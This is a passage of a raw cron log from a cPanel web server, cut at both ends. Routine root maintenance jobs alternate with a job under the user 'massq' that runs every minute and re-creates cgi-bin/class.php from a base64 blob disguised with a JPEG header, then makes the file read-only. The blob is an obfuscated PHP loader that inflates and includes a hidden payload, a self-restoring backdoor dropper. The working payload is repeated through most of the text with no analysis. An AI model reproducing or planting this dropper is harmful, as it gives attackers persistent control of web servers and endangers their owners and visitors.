/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:45:01 server CROND[15117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:45:01 server CROND[15118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:46:01 server CROND[15222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:47:01 server CROND[15273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:48:01 server CROND[15353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:49:01 server CROND[15409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:50:01 server CROND[15560]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 16:50:01 server CROND[15562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:50:01 server CROND[15563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:50:01 server CROND[15561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:50:01 server CROND[15564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:51:01 server CROND[15668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:52:01 server CROND[15732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:53:01 server CROND[15789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:54:01 server CROND[15849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:55:01 server CROND[15906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:55:01 server CROND[15907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:55:01 server CROND[15908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:56:01 server CROND[16099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:57:01 server CROND[16159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:57:01 server CROND[16160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 16:58:01 server CROND[16222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:59:01 server CROND[16285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV